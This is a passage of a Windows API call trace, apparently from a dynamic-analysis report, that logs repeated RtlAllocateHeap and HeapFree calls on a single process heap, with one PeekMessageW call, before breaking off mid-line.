[0111.618] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac41a0 | out: hHeap=0x5010000) returned 1 [0111.618] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35c90 | out: hHeap=0x5010000) returned 1 [0111.618] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35c90 [0111.618] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.618] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.618] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.618] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.618] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.618] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.618] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.618] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.618] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.618] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.618] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.618] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.618] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.618] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.618] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.618] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.618] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.618] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.618] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.618] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.618] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.618] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.618] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.618] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.618] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.618] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.618] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.619] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0111.619] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.619] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.619] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.619] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.619] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.619] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.619] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.619] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.619] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.619] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.619] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.619] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.619] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.619] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.619] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.619] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.619] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.619] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.619] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.619] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.619] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.619] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.619] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.619] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.619] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.619] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.619] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.619] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.619] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.619] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.619] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.620] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.620] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.620] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.620] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.620] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.620] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.620] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.620] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.620] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.620] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.620] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.620] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.620] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.620] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.620] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.620] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.620] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.620] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.620] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.620] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.620] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.620] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.620] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.620] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.620] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.620] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ad3918 [0111.620] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0111.620] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.620] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.620] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.620] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.620] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.620] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.620] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.621] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.621] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.621] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.621] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.621] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.621] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.621] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.621] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.621] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.621] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.621] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0111.621] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.621] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.621] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.621] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.621] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.621] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.621] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.621] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.621] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.621] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.621] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.621] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.621] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.621] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.621] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.621] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.621] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.621] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.621] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.622] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.622] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.622] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.622] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.622] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.622] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.622] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.622] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.622] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.622] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.622] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.622] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.622] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.622] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.622] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.622] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.622] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.622] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.622] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.622] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.622] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.622] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.622] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.622] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.622] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.622] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.622] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.622] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.622] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.622] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.622] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.622] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.623] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.623] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.623] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.623] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.623] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.623] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.623] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.623] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.623] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.623] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.623] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.623] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ad3918 [0111.623] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.623] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0111.623] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.623] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.623] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.623] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.623] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.623] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.623] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.623] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.623] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.623] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.623] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.623] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.623] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.623] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.623] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.623] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.623] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.623] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.623] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.624] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.624] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.624] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.624] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.624] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.624] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.624] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.624] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.624] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.624] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.624] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.624] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.624] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.624] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.624] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.624] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.624] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.624] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.624] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.624] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.624] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.624] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.624] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.624] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.624] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.624] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.624] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.624] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.624] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.624] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.624] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.624] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.624] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.625] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.625] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.625] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.625] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.625] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.625] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.625] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.625] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.625] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.625] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.625] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.625] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.625] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.625] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ad3918 [0111.625] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.625] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0111.625] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.625] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.625] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.625] RtlAllocateHeap (HeapHandle=0x5010000, 